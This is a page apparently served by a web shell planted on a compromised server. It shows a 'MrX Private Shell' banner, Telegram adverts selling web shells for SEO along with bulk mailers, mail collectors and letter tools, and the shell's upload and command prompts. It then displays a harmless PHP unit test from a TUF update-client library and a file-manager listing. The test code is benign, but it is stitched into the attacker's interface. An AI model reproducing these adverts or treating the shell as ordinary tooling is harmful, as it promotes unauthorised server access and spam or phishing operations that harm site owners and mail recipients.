__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Tuf\Tests\Client;

use Tuf\Client\Updater;
use Tuf\Exception\NotFoundException;
use Tuf\Tests\ClientTestBase;

/**
 * Tests that there is a limit on the number of roles that can be downloaded.
 */
class RoleDownloadLimitTest extends ClientTestBase
{
    /**
     * Tests for enforcement of maximum number of roles limit.
     *
     * ยง 5.6.7.1
     *
     * @testWith ["consistent"]
     *   ["inconsistent"]
     */
    public function testRoleDownloadsAreLimited(string $fixtureVariant): void
    {
        $this->loadClientAndServerFilesFromFixture("NestedDelegated/$fixtureVariant");

        $fileName = 'level_1_2_terminating_3_target.txt';

        // Ensure the file can found if the maximum role limit is 100.
        $testFileContents = $this->serverFiles[$fileName];
        self::assertNotEmpty($testFileContents);
        self::assertSame($testFileContents, $this->getUpdater()->download($fileName)->wait()->getContents());

        // Ensure the file can not found if the maximum role limit is 3.
        self::expectException(NotFoundException::class);
        self::expectExceptionMessage("Target not found: $fileName");
        $this->getUpdater(LimitRolesTestUpdater::class)->download($fileName);
    }
}
// @codingStandardsIgnoreStart

/**
 * An updater to test the enforcement of MAXIMUM_TARGET_ROLES.
 */
class LimitRolesTestUpdater extends Updater
{
    /**
     * {@inheritdoc}
     */
    const MAXIMUM_TARGET_ROLES = 3;
}
// @codingStandardsIgnoreEnd

Filemanager

Name Type Size Permission Actions
ConsistentFixturesUpdaterTest.php File 5.79 KB 0664
HashedBinsTest.php File 822 B 0664
InconsistentFixturesUpdaterTest.php File 4.3 KB 0664
InvalidRefreshTest.php File 1.27 KB 0664
RoleDownloadLimitTest.php File 1.46 KB 0664
RollbackAttackTest.php File 1.82 KB 0664
SnapshotHashesTest.php File 1.3 KB 0664
TestLoader.php File 1.95 KB 0664
UnchangedTimestampTest.php File 972 B 0664
UpdaterTest.php File 40.51 KB 0664
VerifiedDownloadTest.php File 2.23 KB 0664
Filemanager